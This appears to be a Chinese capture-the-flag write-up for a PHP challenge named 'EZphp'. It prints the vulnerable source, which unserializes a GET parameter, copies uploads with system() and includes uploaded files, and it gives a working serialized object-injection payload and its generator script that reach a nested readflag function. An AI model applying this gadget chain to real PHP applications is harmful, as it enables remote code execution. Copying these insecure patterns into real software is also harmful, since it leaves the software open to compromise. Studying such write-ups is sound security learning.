EZphp

base64解码得到

function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $r = rand(0, strlen($characters) - 1);
        $randomString .= $characters[$r];
    }
    return $randomString;
}

date_default_timezone_set('Asia/Shanghai');

class test {
    public $readflag;
    public $f;
    public $key;

    public function __construct() {
        $this->readflag = new class {
            public function __construct() {
                if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
                    $time = date('Hi');
                    $filename = $GLOBALS['filename'];
                    $seed = $time . intval($filename);
                    mt_srand($seed);
                    $uploadDir = 'uploads/';
                    $files = glob($uploadDir . '*');
                    foreach ($files as $file) {
                        if (is_file($file)) {
                            unlink($file);
                        }
                    }
                    $randomStr = generateRandomString(8);
                    $newFilename = $time . '.' . $randomStr . '.' . 'jpg';
                    $GLOBALS['file'] = $newFilename;
                    $uploadedFile = $_FILES['file']['tmp_name'];
                    $uploadPath = $uploadDir . $newFilename;
                    if (system("cp " . $uploadedFile . " " . $uploadPath)) {
                        echo "success upload!";
                    } else {
                        echo "error";
                    }
                }
            }

            public function __wakeup() {
                phpinfo();
            }

            public function readflag() {
                function readflag() {
                    if (isset($GLOBALS['file'])) {
                        $file = $GLOBALS['file'];
                        $file = basename($file);
                        if (preg_match('/:\/\//', $file)) {
                            die("error");
                        }
                        $file_content = file_get_contents("uploads/" . $file);
                        if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
                            die("Illegal content detected in the file.");
                        }
                        include("uploads/" . $file);
                    }
                }
            }
        };
    }

    public function __destruct() {
        $func = $this->f;
        $GLOBALS['filename'] = $this->readflag;
        if ($this->key == 'class') {
            new $func();
        } else if ($this->key == 'func') {
            $func();
        } else {
            highlight_file('index.php');
        }
    }
}

$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);

进行代码审计,__construct是对上传的文件进行处理,readflag是进行include文件的,然后利用__destruct这里的if语句,执行是

new $func()$func()操作,所以大致思路就是上传文件,文件包含

触发__construct可以用__destruct中的new $func()实例化触发,__construct里面的匿名类中的__construct也可以直接触发

怎么触发readflag呢,这里在$this->key == 'func'的情况下直接让$func=readflag的话是肯定不行的,因为不在一个作用域里

有这么一个,array(类名,'函数名')()可以直接调用类中的函数,类似于call_user_func(array(类名,'函数名'),参数)

readflag函数,外层的可以用array()执行,内层的readflag在调用完外层的readflag之后可以直接在全局中调用

因为外层的readflag执行完后会将函数内的函数声明为全局的,就像上图中。

所以我们先执行外层的readflag,声明后直接调用内层的readflag,接下来进行序列化操作,因为外层在匿名函数中,我们可以使用指针引用的方式执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class test {
public $aaa;
public $f;
public $key;

}

$b=new test();
$b->key='func';
$b->f=[&$b->aaa,'readflag'];

$a=new test();
$a->key='func';
$a->f=[$b,'__construct'];

$c=new test();
$c->key='func';
$c->f='readflag';

$object=array($a,$c);

echo serialize($object);

执行$a的__destruct->$b的__construct->$b的__destruct,如果没有这里的指针引用$b->f=[&$b->aaa,'readflag'];$b->aaa=null$b->f=null,然后执行$b->f的readflag就会报错,因为$b->f是null,但是如果使用了指针引用,虽然一开始是null,但是在后面执行了$b的__construct,$b的aaa就不是null,$b->f[0]因为是同一个引用,所以会一起改变,执行$func();,$b->f[0]就不会因为是null而报错了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class test {
public $aaa;
public $f;
public $key;

public function __construct() {
$this->aaa = new class {
public function readflag() {
echo "1111";
function readflag() {
echo "flag";
}
}
};
}

public function __destruct() {
$func = $this->f;
if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
}
}
}

$ser ='a:2:{i:0;O:4:"test":3:{s:3:"aaa";N;s:1:"f";a:2:{i:0;O:4:"test":3:{s:3:"aaa";N;s:1:"f";a:2:{i:0;R:6;i:1;s:8:"readflag";}s:3:"key";s:4:"func";}i:1;s:11:"__construct";}s:3:"key";s:4:"func";}i:1;O:4:"test":3:{s:3:"aaa";N;s:1:"f";s:8:"readflag";s:3:"key";s:4:"func";}}
';
@unserialize($ser);
回显111flag

接下来就是上传文件的问题了,完整解题步骤推荐看看这篇文章。

https://www.cnblogs.com/LAMENTXU/articles/19156437